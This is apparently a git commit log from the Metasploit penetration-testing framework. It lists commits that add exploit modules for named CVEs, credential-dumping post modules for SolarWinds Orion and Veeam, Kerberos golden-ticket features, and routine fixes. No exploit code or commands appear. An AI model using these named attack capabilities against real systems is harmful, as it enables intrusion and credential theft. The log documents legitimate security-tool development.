Changed the SQL queries for DB dump to explicit VARCHAR(4096) to get
around sqlcmd's 256-char column limit.

Refactored the BATCH_DPAPI functionality because I can't seem to let
this pattern go: now actually batches with byte threshold set by
advanced option.

Reduced clutter and redundancy.

Various tweaks and bug fixes.

Updated documentation.
2023-01-09 16:31:44 -05:00
Krzysztof Burghardt ca0a57124b Add qubes_mirage_firewall_dos module documentation 2023-01-09 13:27:35 -06:00
Krzysztof Burghardt 551edbe0d1 Review and lint fixes 2023-01-09 13:27:35 -06:00
Krzysztof Burghardt a1ee09d544 New exploit for CVE-2022-46770 Mirage firewall DoS 2023-01-09 13:27:35 -06:00
Metasploit 3beb3d775f automatic module_metadata_base.json update 2023-01-09 11:49:22 -06:00
Grant Willcox f6f3dd1af0 Land #17454, fix #17436: scanner/smb/smb_enumshares truncates file names 2023-01-09 11:23:50 -06:00
Grant Willcox f8ce1219e1 Remove extra line 2023-01-09 11:23:26 -06:00
Wrathdemon 2df3920432 fix #17436: truncated file names in the logged data in module auxiliary/scanner/smb/smb_enumshares 2023-01-09 22:11:25 +05:30
Spencer McIntyre 2494c367e7 Handle chunked Kerberos responses
Chunked responses from partial reads are possible when pivoting.
2023-01-09 11:24:53 -05:00
Grant Willcox fd61e31cd3 Bump up additional Gems and bump Pry to support recent versions of Ruby 2023-01-09 09:54:41 -06:00
Wrathdemon ade00718c6 fix #17436: truncated file names in the logged data in module auxiliary/scanner/smb/smb_enumshares 2023-01-09 19:32:37 +05:30
h00die 0c418d05e8 jtr cracking of netntlm 2023-01-08 16:54:36 -05:00
h00die 8e1c29f444 jtr cracking of netntlm 2023-01-08 15:31:47 -05:00
h00die 0c3026c201 crack netntlm* 2023-01-08 14:32:04 -05:00
h00die 4c6c8fcf8b crack netntlm* 2023-01-08 14:29:21 -05:00
Grant Willcox ebdfabf35d Bump up pry related gems post 2.6 lock removal 2023-01-06 16:53:04 -06:00
Grant Willcox d076b9c7ab Merge pull request #17166 from k0pak4/improve-golden-ticket-module
Improve golden ticket module with hash check and better loot storage
2023-01-06 16:39:29 -06:00
Matthew Dunn 8f302c8697 Complete requested PR changes
Clone the cc_principle
2023-01-06 14:48:53 -06:00
Grant Willcox 3d9ea4492f Fix up extra blank lines and make ticket type being saved clearer 2023-01-06 14:48:53 -06:00
Matthew Dunn d64c4b6e7e Store the binary format of the ccache
update key to be correct
2023-01-06 14:48:53 -06:00
Matthew Dunn ccfc253eb8 Updates to get ccache in golden ticket
Fix incorrect reference
Use proper encoding
2023-01-06 14:48:52 -06:00
Matthew Dunn ff029842ce Verify NT hash and store golden ticket as kirbi and ccache 2023-01-06 14:48:38 -06:00
Jeffrey Martin 07231a6a8e Land #17425, Weekly dependency updates for Gemfile.lock 2023-01-06 13:05:21 -06:00
Grant Willcox 9dce44f195 Merge pull request #17390 from dwelch-r7/move-debug-ticket-to-new_module
Move debug ticket to new module
2023-01-06 11:35:18 -06:00
Grant Willcox d69564f3df Minor update to merge output and example together. 2023-01-06 10:15:16 -06:00
Jeffrey Martin bd1a6d44f2 Land #17441, Remove lock on Pry version 2023-01-06 09:52:16 -06:00
Grant Willcox 0be28f64b4 Merge pull request #17443 from dwelch-r7/Fix-ldap-failure-constants
Use the correct constant names for ldap failures
2023-01-06 09:19:28 -06:00
Hamilton Tobon Mosquera 6074d1a4d3 fix: parse COMMAND with nested '=' in meterpreter
Fixes bug #16578
2023-01-06 09:27:25 -05:00
Dean Welch 8078616f5f Use the correct constant names for ldap failures 2023-01-06 14:11:26 +00:00
Spencer McIntyre 138e0c697b Land #17427, YARD Document LDAP Libraries 2023-01-06 08:57:31 -05:00
dwelch-r7 75372dcdd3 Land #17374, Add klist command 2023-01-06 12:57:20 +00:00
cn-kali-team 4a1c75ae73 dbeaver_store_config 2023-01-06 14:55:49 +08:00
Grant Willcox 0ae5aea9e8 Remove lock on Pry version since Ruby 2.6 is no longer supported by Metasploit and so this no longer applies 2023-01-05 18:55:39 -06:00
Grant Willcox e03fd42a29 Update to fix some warnings in YARD, fix review comments, and also replace @see with proper links for easier navigation 2023-01-05 17:44:24 -06:00
Grant Willcox 0af0f6ea0a Merge pull request #17440 from zeroSteiner/fix/smb-aes-256-kerberos
Fix SMB key calculation for AES-256 when authenticating with Kerberos
2023-01-05 17:05:28 -06:00
Metasploit 0a826323f7 automatic module_metadata_base.json update 2023-01-05 16:01:11 -06:00
Spencer McIntyre 1f938781d9 Land #17438, exchange_proxylogon_collector bugfix
exchange_proxylogon_collector bugfix: prevent empty on nil by changing empty to blank
2023-01-05 16:24:58 -05:00
Metasploit 131d982cd2 automatic module_metadata_base.json update 2023-01-05 14:49:58 -06:00
Grant Willcox 98b3b29cc2 Land #17439, Removing Rex::ConnectionError exception handler from module template 2023-01-05 14:24:58 -06:00
Spencer McIntyre 785c5a8f4d Fix key calculation for Server 2022
Metasploit will negotiate the strongest mutually supported encryption
with the target. When the target supports AES-256 as Server 2022 and
Windows 11 do, the key needs to be 32-bytes long and not 16 as it is
when AES-128 is in use. This updates the logic to check if the
encryption algorithm is set to ensure that the key is the correct size.
2023-01-05 15:08:49 -05:00
Christophe De La Fuente 1ede6661d4 Land #17382, Update pkinit tgt response to include key 2023-01-05 20:45:20 +01:00
Christophe De La Fuente 25f4c023b4 Removing Rex::ConnectionError exception handler 2023-01-05 20:26:11 +01:00
Grant Willcox 9585677d2c Update Gemfile.lock with latest changes 2023-01-05 12:30:08 -06:00
Metasploit 1b093b6e17 Bump version of framework to 6.2.35 2023-01-05 12:10:17 -06:00
Spencer McIntyre e555f3c28f Land #17384, Add missing entries to LICENSE
Update license file for all GPL I could find
2023-01-05 12:51:13 -05:00
Spencer McIntyre 964dbacb0f Tweak whitespace in the LICENSE file
Tweak whitespace in the LICENSE file to wrap at 80 chars (when able to)
and to consistently use line breaks and alignment.
2023-01-05 12:50:40 -05:00
Grant Willcox 725f83601f Land #17435, Restore raw_send_recv for module using SMTP mixin 2023-01-05 11:29:53 -06:00
Dean Welch 2de3477eb0 Add msfconsole examples 2023-01-05 17:02:23 +00:00
Grant Willcox e218210feb Update ldap_connect documentation to set Object as the return type 2023-01-05 10:51:18 -06:00
bwatters 9ecf27a490 Rebase with Master and fix rebasing issues.... 2023-01-05 09:48:17 -06:00
Grant Willcox 2cc43fa4ac Land #17428, Update .mailmap 2023-01-05 09:38:23 -06:00
Grant Willcox 4dd3e43f01 Remove wvu from list at his request, and move past contributors to appropriate section 2023-01-05 09:13:51 -06:00
Dean Welch a18efb7882 Improve description and error messages 2023-01-05 14:24:08 +00:00
cn-kali-team 5eae5068cc update 2023-01-05 20:56:06 +08:00
ErikWynter f222bccf6c prevent empty on nil by changing empty to blank 2023-01-05 10:38:09 +02:00
Metasploit 9d866a3784 automatic module_metadata_base.json update 2023-01-04 18:32:27 -06:00
Grant Willcox ddc3435818 Land #17312, Pre-Authenticated Remote Code Execution in Nortek Linear eMerge Access Controller (CVE-2019-7256) 2023-01-04 18:08:04 -06:00
Grant Willcox f39973de86 Fix up missing option in documentation and also add some additional validation on server response. 2023-01-04 17:02:05 -06:00
h00die-gr3y 11b95b2094 added additional response check 2023-01-04 17:02:04 -06:00
h00die-gr3y c7b59b4815 updates based on gwillcox-r7 review comments 2023-01-04 17:02:04 -06:00
h00die-gr3y 6801cbd21e updated Limitation section 2023-01-04 17:02:03 -06:00
h00die-gr3y f9ecaa92ae updated references section 2023-01-04 17:02:03 -06:00
h00die-gr3y fc6acdab6a added documentation 2023-01-04 17:01:59 -06:00
h00die-gr3y 4db15346e1 init commit module 2023-01-04 17:01:58 -06:00
Jeffrey Martin 6b5948a69d restore raw_send_recv for module using SMTP mixin
changes in #16153 adjusted modules that were not utilizing
`Exploit::Remote::SMTPDeliver` in error restore calls to `raw_send_recv`
that is no longer shadowed by in `SMTPDeliver`.
2023-01-04 14:45:58 -06:00
Grant Willcox e99c406355 Merge pull request #17434 from dwelch-r7/fix-typo-keytab-docs
Fix keytab docs typo
2023-01-04 11:13:44 -06:00
Grant Willcox c71ba23a10 Fix up incorrectly indented documentation, remove excess lines, and add in correct type return information from debugging sessions 2023-01-04 11:09:23 -06:00
Dean Welch cb95d92201 Fix keytab docs typo 2023-01-04 15:39:59 +00:00
Christophe De La Fuente 868072e6c8 Land #17317, Fix various WinRM modules 2023-01-03 19:57:07 +01:00
Christophe De La Fuente 9f869f5a11 Add a call to super in run 2023-01-03 19:54:06 +01:00
Ashley Donaldson 45c0af48c2 Suggested changes from code review 2023-01-03 11:26:07 +11:00
Ashley Donaldson b05db8b82d Keep signature of the read_response function as it was before, and add the original request as an opt 2023-01-03 09:46:43 +11:00
wvu 852de5166e Update .mailmap 2022-12-30 17:03:19 -06:00
Grant Willcox bfb80db9db Add in missing YARD documentation for lib/msf/core/exploit/remote/ldap.rb 2022-12-30 16:07:08 -06:00
Grant Willcox 86d4129edb Add in missing YARD documentation for lib/rex/proto/ldap.rb 2022-12-30 13:41:33 -06:00
adfoster-r7 a8957bce49 Update tgt response to include key 2022-12-30 13:41:54 +00:00
Grant Willcox e9f86ce6e8 Merge pull request #17421 from adfoster-r7/merge-6.2.33-master-into-kerberos-feature-branch
Merge 6.2.33 master into kerberos feature branch
2022-12-29 22:48:14 -06:00
Grant Willcox 8c25786023 Undo bundler version bump 2022-12-29 15:43:31 -06:00
Grant Willcox 0e2b0fd421 Weekly gem bump 2022-12-29 15:39:52 -06:00
Metasploit cb682973f7 Bump version of framework to 6.2.34 2022-12-29 12:03:41 -06:00
Jack Heysel 5a8d330f80 Msftidy fixes 2022-12-28 17:11:55 -05:00
Jack Heysel 8f277abbf2 Add kerberoasting documentation 2022-12-28 16:55:57 -05:00
Jack Heysel a8697cdffc Land #17409, rhost walker handle interupt signal 2022-12-28 14:46:13 -05:00
timwr ce260f53f3 Add CVE-2022-46689 macOS dirty cow 2022-12-28 22:46:08 +07:00
adfoster-r7 95d361754f Merge branch 'upstream-master' into merge-6.2.33-master-into-kerberos-feature-branch 2022-12-28 13:59:42 +00:00
Metasploit 28230c6335 automatic module_metadata_base.json update 2022-12-27 20:48:57 -06:00
Grant Willcox 7b25c753d6 Land #17416, Use .blank? instead of .empty? when handling SSH Key details to prevent crashes 2022-12-27 20:24:54 -06:00
Joshua Rogers 615bba3d31 Update jenkins_gather.rb
blank? should be used instead of empty?
2022-12-27 19:31:49 -06:00
Grant Willcox 8678bb9db6 Land #17380, Update User Agent strings December 2022 2022-12-27 18:18:24 -06:00
Grant Willcox a49e8c7afb Merge pull request #17405 from adfoster-r7/update-smb-enumshares-to-gracefully-fallover-from-139-to-445
Update smb enumshares to gracefully failover from port 139 to 445
2022-12-27 15:42:01 -06:00
bwatters 04f2db6376 Land #17419, Fix GitHub Actions Verify Action Using Wrong Version of Ruby for 3.0.x Tests
Merge branch 'land-17419' into upstream-master
2022-12-27 15:15:14 -06:00
Grant Willcox 9e31190dce Land #17414, Fix typo: Replace patten with pattern 2022-12-27 13:50:42 -06:00
Grant Willcox 6057047384 fix: 🐛 Add quotes around Ruby version strings
This fixes issues where Ruby would interpret version strings as floats,
which could lead to casting errors. An example of this was when 3.0 would be interpreted
as the number 3, so instead of getting the latest Ruby 3.0.X release,
you would instead get the latest Ruby 3 release.
2022-12-27 12:27:54 -06:00
Dnidof c117040705 Fix typo: Replace patten with pattern
Update How-to-Apply-to-GSoC.md
2022-12-26 16:37:59 +01:00
Metasploit a526604bb3 automatic module_metadata_base.json update 2022-12-23 08:46:09 -06:00
adfoster-r7 7e1c3bc1bf Update rhost walker to handle interrupt signal 2022-12-23 13:26:27 +00:00
Christophe De La Fuente 20d70799a7 Land #17298, Add opentsdb_yrange_cmd_injection module and docs 2022-12-23 13:38:58 +01:00
Christophe De La Fuente 83b11a69a8 Make rubocop happy 2022-12-23 13:38:16 +01:00
ErikWynter 7fa557805e add final code review suggestions 2022-12-23 11:29:29 +02:00
ErikWynter 8f96746551 fix typo and add credit for discovery 2022-12-23 11:11:31 +02:00
Metasploit c0597fe1da Bump version of framework to 6.2.33 2022-12-22 12:09:43 -06:00
ErikWynter 4c2dfe0279 add cacti_unauthenticated_cmd_injection 2022-12-22 17:55:45 +02:00
Metasploit f8040754e1 automatic module_metadata_base.json update 2022-12-21 15:54:27 -06:00
Jack Heysel 63583af153 Land #17389, Log4shell_header_injection bug fix
prevent .keys call on nil
2022-12-21 16:26:55 -05:00
npm-cesium137-io 9cc8d41388 veeam_credential_dump post module revisions
Cleanup for initial PR.
2022-12-21 15:53:46 -05:00
adfoster-r7 9d725b1e67 Update smb enumshares to gracefully failover from 139 to 445 2022-12-21 20:23:01 +00:00
Metasploit 15357e2289 automatic module_metadata_base.json update 2022-12-21 08:07:09 -06:00
Christophe De La Fuente 6758c8313f Land #17258, Update sharphound 2022-12-21 14:04:09 +01:00
Metasploit 32f26378ad automatic module_metadata_base.json update 2022-12-20 17:16:03 -06:00
adfoster-r7 a6605d36a3 Land #17334, enum_commands: Cleanup 2022-12-20 22:52:00 +00:00
Metasploit ed832f1a47 automatic module_metadata_base.json update 2022-12-20 09:24:38 -06:00
Christophe De La Fuente fa5e4df3f5 Land #17278, Add solarwinds_orion_dump post module 2022-12-20 15:42:25 +01:00
npm-cesium137-io e3c6aa7820 solarwinds_orion_dump attribution update
Updated original research attribution to align with reality.
2022-12-20 08:55:19 -05:00
bcoles 78906a8217 enum_commands: Cleanup 2022-12-20 23:42:51 +11:00
npm-cesium137-io 03ca00e6e6 solarwinds_orion_dump refine CSV input handling
Improved CSV input error handling and various minor bug fixes.
2022-12-19 11:39:44 -05:00
bwatters 6b0805dc11 Update cmdstager docs 2022-12-16 15:55:30 -06:00
Grant Willcox b01720dcba Merge pull request #17397 from zeroSteiner/fix/pkinit-nameerror
Fix a NameError in pkinit_login
2022-12-16 15:28:45 -06:00
Spencer McIntyre b2edf1108a Fix a NameError in pkinit_login 2022-12-16 14:54:46 -05:00
Dean Welch 4e1e85f8ad Add ticket converter docs 2022-12-16 13:53:05 +00:00
adfoster-r7 6f9ebe4068 Add klist command 2022-12-16 13:02:39 +00:00
adfoster-r7 20496aadc2 Land #17377, Consolidate Kerberos Ticket Storage 2022-12-16 01:35:36 +00:00
Ashley Donaldson 5c2640178c Suggested changes from code review 2022-12-16 10:36:26 +11:00
Spencer McIntyre 60a76da374 Allow deleting tickets by ID 2022-12-15 18:31:18 -05:00
Spencer McIntyre 75fc560d19 Handle cases where the framework module is nil 2022-12-15 18:31:18 -05:00
Spencer McIntyre 830e850160 Add more docs 2022-12-15 18:31:18 -05:00
Spencer McIntyre 663dee982e Expose an abstract stored ticket object 2022-12-15 18:31:18 -05:00
Spencer McIntyre fea259f6e7 Switch everything to use the ticket storage 2022-12-15 18:31:14 -05:00
Spencer McIntyre b2a4bea761 Breakout the ticket storage backend drivers 2022-12-15 18:29:00 -05:00
Spencer McIntyre 686b946c5b Use a new TicketStorage class
The goal is to provide an abstraction for how Kerberos tickets are
persisted to disk.
2022-12-15 18:28:54 -05:00
Spencer McIntyre 5f52ebeea7 Consolidate the loot_info UID string 2022-12-15 18:26:32 -05:00
Ron Bowes 2ec77e6d95 Merge branch 'master' into f5-createuser-privesc 2022-12-15 13:11:26 -08:00
Jack Heysel 3204caf618 Make use of session platform 2022-12-15 14:28:19 -05:00
Jack Heysel 87614cf2b3 Fixed spacing updated check method 2022-12-15 14:15:06 -05:00
Grant Willcox 37fe3b909a Land #17931, Bump IRB version to 1.6.1
Bring in changes mentioned at https://st0012.dev/whats-new-in-ruby-3-2-irb
2022-12-15 12:41:52 -06:00
Metasploit f4a9090128 Bump version of framework to 6.2.32 2022-12-15 12:11:11 -06:00
Grant Willcox 0ab2d6020e Bump IRB version to bring in changes mentioned at https://st0012.dev/whats-new-in-ruby-3-2-irb 2022-12-15 11:00:23 -06:00
Grant Willcox 159a4bc218 Land #17387, Expand ~ for hosts and notes commands 2022-12-15 10:47:01 -06:00
Christophe De La Fuente 6e09236c97 Land #17381, Update rasn1 dependency for pkinit 2022-12-15 17:38:49 +01:00
Grant Willcox c0c8f955a8 Land #17366, Fix Shell Upload Download Command For Directory Destinations 2022-12-15 09:42:02 -06:00
Spencer McIntyre d1f5fa06cf Don't use File in cmd_upload / cmd_download
It does not look like shell sessions define their own File class,
meaning that the local-platform specific one is always used. Instead
we'll define the separator ourselves since it's all we need to perform
the basic operations necessary to analyze the path string.
2022-12-15 10:05:02 -05:00
bwatters 3eb86b92e1 Land #17191, Fix bug in linux reverse_tcp_x64 when running on WSL
Merge branch 'land-17191' into upstream-master
2022-12-15 09:02:57 -06:00
Dean Welch cf332a2b20 Move DEBUG_TICKET action from forge ticket to it's own module inspect_ticket 2022-12-15 13:42:30 +00:00
ErikWynter 3c219c8a77 prevent .keys call on nil in log4shell_header_injection 2022-12-15 12:51:30 +02:00
Ashley Donaldson 28bd03f971 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-15 14:50:10 +11:00
Ashley Donaldson 57152fdd5f Use framework's thread mechanism for background keepalive worker 2022-12-15 14:44:57 +11:00
Ashley Donaldson 89dd358d2d Added unit test to check that HEAD responses don't hang 2022-12-15 14:34:01 +11:00
Jack Heysel f015d1425a Added update to common.h 2022-12-14 20:39:31 -05:00
Ashley Donaldson bf307e552a Resolves #14144 - expand ~ for hosts and notes commands 2022-12-15 12:31:25 +11:00
Ashley Donaldson 891ab225cc Ignore Content-Length header for the purpose of HEAD requests 2022-12-15 11:22:48 +11:00
Ashley Donaldson 5716fd0f4d Revert to use of set /p, but with dummy variable so that %errorlevel% is set to 0 2022-12-15 09:05:16 +11:00
Metasploit e19d1b9231 automatic module_metadata_base.json update 2022-12-14 13:39:20 -06:00
Grant Willcox d15ed9d2bd Land #17370, force mixin to utilize ruby_smb 2022-12-14 13:13:04 -06:00
dwelch-r7 243b9da3e6 Land #17344, Update windows_secrets_dump and Keytab module to export kerberos keys 2022-12-14 15:03:15 +00:00
adfoster-r7 2783e92203 Update windows_secrets_dump and Keytab module to export kerberos keys 2022-12-14 13:40:39 +00:00
adfoster-r7 abcf4606a8 Land #17360, document the kerberos forge_ticket DEBUG_TICKET action 2022-12-14 13:37:34 +00:00
cgranleese-r7 7face44638 Land #17379, Merge 6.2.31 into kerberos feature branch 2022-12-14 13:34:36 +00:00
Metasploit 0032ba9e50 automatic module_metadata_base.json update 2022-12-14 07:08:11 -06:00
Christophe De La Fuente 2a28af208d Land #16992, Syncovery For Linux - Auth. RCE (CVE-2022-36534) 2022-12-14 13:43:00 +01:00
Metasploit b76ed0f0ba automatic module_metadata_base.json update 2022-12-14 06:04:56 -06:00
Christophe De La Fuente 9582411554 Land #16991, Syncovery For Linux - Insecure Session Token Generation (CVE-2022-36536) 2022-12-14 11:30:47 +01:00
Ashley Donaldson 5fd6103a70 Use boolean output of write_file for cmd_upload
Also fixed powershell upload, which failed at around 20000 bytes per command.
I believe this is related to powerfun, which seems to truncate to 20000 bytes.
2022-12-14 20:46:31 +11:00
whoot 0f1e228f50 finalization 2022-12-14 08:59:53 +01:00
whoot 1f1b04e009 finalization 2022-12-14 08:38:20 +01:00
Jan Rude 0ae824e169 Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:55 +01:00
Jan Rude e16e689308 Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:45 +01:00
Jan Rude d6ba30adcf Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:35 +01:00
Jan Rude 911431c63b Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-14 08:07:24 +01:00
Ashley Donaldson 6ac1c305cc Appropriate return values for windows (cmd and powershell) shells 2022-12-14 17:00:16 +11:00
Ashley Donaldson b38af39660 Unix shell knows whether or not it has succeeded in writing or appending a file 2022-12-14 12:48:46 +11:00
adfoster-r7 28bd37b0a7 Update rasn1 dependency for pkinit 2022-12-14 00:32:26 +00:00
Ashley Donaldson 2f6c94b872 Update User Agent strings December 2022 2022-12-14 11:03:25 +11:00
Grant Willcox f70f48c233 Land #17378, Bump the version of msf-payload to 2.0.105 2022-12-13 16:58:52 -06:00
Grant Willcox a63a98eea4 Bump the version of msf-payload to 2.0.105 2022-12-13 14:29:39 -06:00
adfoster-r7 a9ccfe31b7 Merge branch 'upstream-master' into merge-msf-6.2.31-into-kerberos-feature-branch 2022-12-13 19:40:39 +00:00
Metasploit a653dbd51a automatic module_metadata_base.json update 2022-12-13 12:16:12 -06:00
Christophe De La Fuente d6a5590c06 Land #17265, Add Exploit for CVE-2020-25736 2022-12-13 18:49:56 +01:00
cgranleese-r7 9b1513fca9 Land #17376, Extract db command helpers to standalone module 2022-12-13 17:46:53 +00:00
adfoster-r7 f6ed9ef12d Extract db command helpers to standalone module 2022-12-13 17:01:49 +00:00
Shelby Pace 0596620de7 Update modules/exploits/osx/local/acronis_trueimage_xpc_privesc.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 09:49:59 -06:00
Jan Rude 03a640fcec Update modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:06:42 +01:00
Jan Rude f158cfaadd Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:05:56 +01:00
Jan Rude c8e301224b Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:05:45 +01:00
Jan Rude 53cde6d2ef Update modules/exploits/unix/http/syncovery_linux_rce_2022_36534.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-12-13 16:04:45 +01:00
dwelch-r7 fd555b218f Land #17373, Add ticket flags when outputting krb5 ccache 2022-12-13 12:46:25 +00:00
adfoster-r7 7625d4b08b Add ticket flags when outputting krb5 ccache 2022-12-13 12:19:16 +00:00
Grant Willcox c7ed5f4ba2 Land #17368, Fix slow msfvenom payload generation for large payloads when outputting as hex format 2022-12-13 02:14:47 -06:00
Grant Willcox 5aaf159a50 Land #17364, Bump docs ruby version to 3.0.5 2022-12-13 01:48:00 -06:00
Jack Heysel 2fa7e7b2d5 Lenovo Diagnostics Driver Privilege Escaltion (CVE-2022-3699) 2022-12-12 21:53:53 -05:00
Metasploit 69f47aa6a7 automatic module_metadata_base.json update 2022-12-12 17:09:12 -06:00
Spencer McIntyre d09aef7dc5 Land #17350, Remove unnecesary sleep
Remove unnecesary sleep in several bypassuac modules
2022-12-12 17:45:10 -05:00
space-r7 6885e576ed add note about uninstalling the helper tool 2022-12-12 16:35:44 -06:00
Jeffrey Martin 0eec36200c force mixin to utilize ruby_smb
When refactored recently the new code expects a `RubySMB` object
this ensures the client returned meets that expectation.
2022-12-12 16:14:09 -06:00
space-r7 cf9e54909c use 2021 helper name in objective-c code too 2022-12-12 15:55:36 -06:00
space-r7 13a557013c support 2021 version of software
specifically, the exploit will now search
for com.acronis.helpertool in addtion to the
2020 helper tool name. This also updates the
check() method to return CheckCode::Detected
for when we find the vulnerable service but
can't detect the build number
2022-12-12 15:53:35 -06:00
Spencer McIntyre 5a66666b4d Fix check methods by using #present? 2022-12-12 16:53:34 -05:00
adfoster-r7 8013be1d07 Fix slow msfvenom payload generation for large payloads 2022-12-12 21:39:21 +00:00
Metasploit f534168636 automatic module_metadata_base.json update 2022-12-12 13:46:17 -06:00
Spencer McIntyre 024fc87b4c Land #17272, Add F5 MCP post module
Add F5 MCP post module
2022-12-12 14:20:31 -05:00
Ron Bowes 5b1e37bf66 Merge pull request #2 from smcintyre-r7/pr/collab/17272
Store service credentials in the database
2022-12-12 10:10:03 -08:00
dwelch-r7 c9aab1201c Land #17363, Add enckrbkey database persistence support 2022-12-12 17:44:47 +00:00
Grant Willcox 2cb66a5c8b Land #17355, Update the creds command to allow viewing ssh key contents 2022-12-12 11:29:47 -06:00
adfoster-r7 1855306e14 Bump docs ruby version to 3.0.5 2022-12-12 17:28:29 +00:00
adfoster-r7 431bfdfc52 Add enckrbkey database persistence support 2022-12-12 17:19:17 +00:00
Spencer McIntyre 34451940c7 Fix uploading from shell sessions 2022-12-12 12:02:33 -05:00
Grant Willcox c5439b85ef Land #17361, unlock concurrent-ruby 2022-12-12 10:36:48 -06:00
Grant Willcox 8a68111198 Land #17357, Update docs site to support mermaid 2022-12-12 10:04:07 -06:00
npm-cesium137-io d04111ad6f solarwinds_orion_dump markdown update
Nuked the last embarrassing typo in the module description.

Updated the documentation to include detail on sqlcmd / CSV export
process when manually exporting the data.
2022-12-12 10:54:41 -05:00
Spencer McIntyre 59d4f9b7e9 Fix downloading from shells to a directory
Prior to this change if the destination argument issued to a shell
session's internal `download` command was a directory, the command would
crash and the shell would be lost.
2022-12-12 10:42:11 -05:00
Spencer McIntyre a9cdb77a72 Use consistent casing and fix typos 2022-12-12 10:30:50 -05:00
Jeffrey Martin 60302e1f02 unlock concurrent-ruby
Version was locked due to yanked ver 1.1.0, this should have been unlocked long ago.
2022-12-12 08:58:22 -06:00
Spencer McIntyre a80db73bab Land #17325, add impersonation for get_ticket
Enable the `get_ticket` module to impersonate a user with S4U2self and S4U2proxy
2022-12-12 09:10:37 -05:00
Dean Welch 4aaf540364 Add modules docs for TICKET_DEBUG 2022-12-12 13:39:09 +00:00
Christophe De La Fuente 86ec66c43d Add decoding support
- for Rex::Proto::Kerberos::Model::Checksum
- for Rex::Proto::Kerberos::Model::PreAuthForUser
- add specs
2022-12-12 12:56:30 +01:00
adfoster-r7 fd3fb5f3a4 Update docs site to support mermaid 2022-12-11 01:22:30 +00:00
npm-cesium137-io 6eaa0bfab2 Add veeam_credential_dump post module
Post module for Veeam Backup and Replication / Veeam ONE Monitor Server
credential extract
2022-12-10 16:21:59 -05:00
adfoster-r7 2ea880c799 Show ssh key with verbose creds command 2022-12-10 00:08:54 +00:00
h00die fc10a5c876 Merge pull request #21 from bwatters-r7/land-17258
Added purpose to License file for SharpHound
2022-12-09 17:38:31 -05:00
bwatters cc3d5739ef Added purpose to License file for SharpHound 2022-12-09 15:31:27 -06:00
Grant Willcox c84b2a67d7 Land #17345, Update report api to return nil when no active db 2022-12-09 14:02:28 -06:00
npm-cesium137-io 8075654f10 Revise solarwinds_orion_dump MKII
Fixed humiliating typos in the markdown doc.

Updated the Author section of the module per guidelines.

Changed credential type for AES key loot storage.

Updated database config code to include the case where the SQL password
is not encrypted (needs testing).

Additional tweaks and fixes.
2022-12-09 14:47:18 -05:00
Metasploit 90828ac2bb automatic module_metadata_base.json update 2022-12-09 12:42:23 -06:00
Spencer McIntyre d9b217e50b Land #17351, Fix bug in s4u_persistence module
Fix buggy default in s4u_persistence module
2022-12-09 13:16:53 -05:00
Grant Willcox b65b0a7bc5 Land #17352, Fixes crash in meterp when file_version asks for a file that doesn't exist 2022-12-09 12:10:29 -06:00
Grant Willcox e29d9effba Land #17346, Update rspec thread counting logic 2022-12-09 10:32:55 -06:00
Jeffrey Martin 32a5c350cb Land 17349, Update Ruby version to 3.0.5 2022-12-09 08:39:03 -06:00
whoot 771b7c58f9 change brute-forcer 2022-12-09 12:33:13 +01:00
Jan Rude 005d43f7d1 Merge branch 'rapid7:master' into syncovery_craftable_token 2022-12-09 09:34:42 +01:00
whoot c1d090334c apply suggestions 2022-12-09 09:31:20 +01:00
Ashley Donaldson 99e576d023 Fixes crash in meterp when file_version asks for a file that doesn't exist 2022-12-09 11:55:29 +11:00
Ashley Donaldson 8d097e0fd0 Fixes bug in s4u_persistence module 2022-12-09 11:24:16 +11:00
Ashley Donaldson c54109586c Remove unnecesary sleep in several bypassuac modules 2022-12-09 11:09:19 +11:00
Grant Willcox f6beef9b23 Update Ruby version in Dockerfile 2022-12-08 14:59:58 -06:00
Grant Willcox 6126598d16 Update Ruby version to 3.0.5 from 3.0.2 to fix security issues and compatibility 2022-12-08 13:58:46 -06:00
Metasploit 9b62242974 automatic module_metadata_base.json update 2022-12-08 13:52:01 -06:00
Grant Willcox 70b9b94c23 Land #17255, Add executable path for command payloads 2022-12-08 13:25:21 -06:00
JustAnda7 293a203a03 Added path option to cmd payloads 2022-12-08 12:19:31 -06:00
Metasploit 06b72a0b1c Bump version of framework to 6.2.31 2022-12-08 12:12:22 -06:00
Metasploit 28cf7ea55c automatic module_metadata_base.json update 2022-12-08 10:13:08 -06:00
Spencer McIntyre dd3decb436 Land #17342, Use LDAP_SERVER_SD_FLAGS_OID flag
Use LDAP_SERVER_SD_FLAGS_OID flag to prevent retrieving SACL as a non-admin user
2022-12-08 10:47:55 -05:00
Spencer McIntyre 2fc8b0a7a6 Add GitHub refereces to the patch details 2022-12-08 10:47:44 -05:00
adfoster-r7 46f7fc9288 Land #17313, PAC Bindata Model + print ccache contents 2022-12-08 14:38:38 +00:00
Dean Welch fc3bb585be Move TypeSerialization1 to it's own file 2022-12-08 13:20:41 +00:00
Dean Welch 1e1580e346 Move TypeSerialization1 to it's own file 2022-12-08 13:11:47 +00:00
adfoster-r7 aba9cba9dd Update rspec thread counting logic 2022-12-08 00:28:00 +00:00
adfoster-r7 8f22d24577 Update report api to return nil when no active db 2022-12-07 23:09:59 +00:00
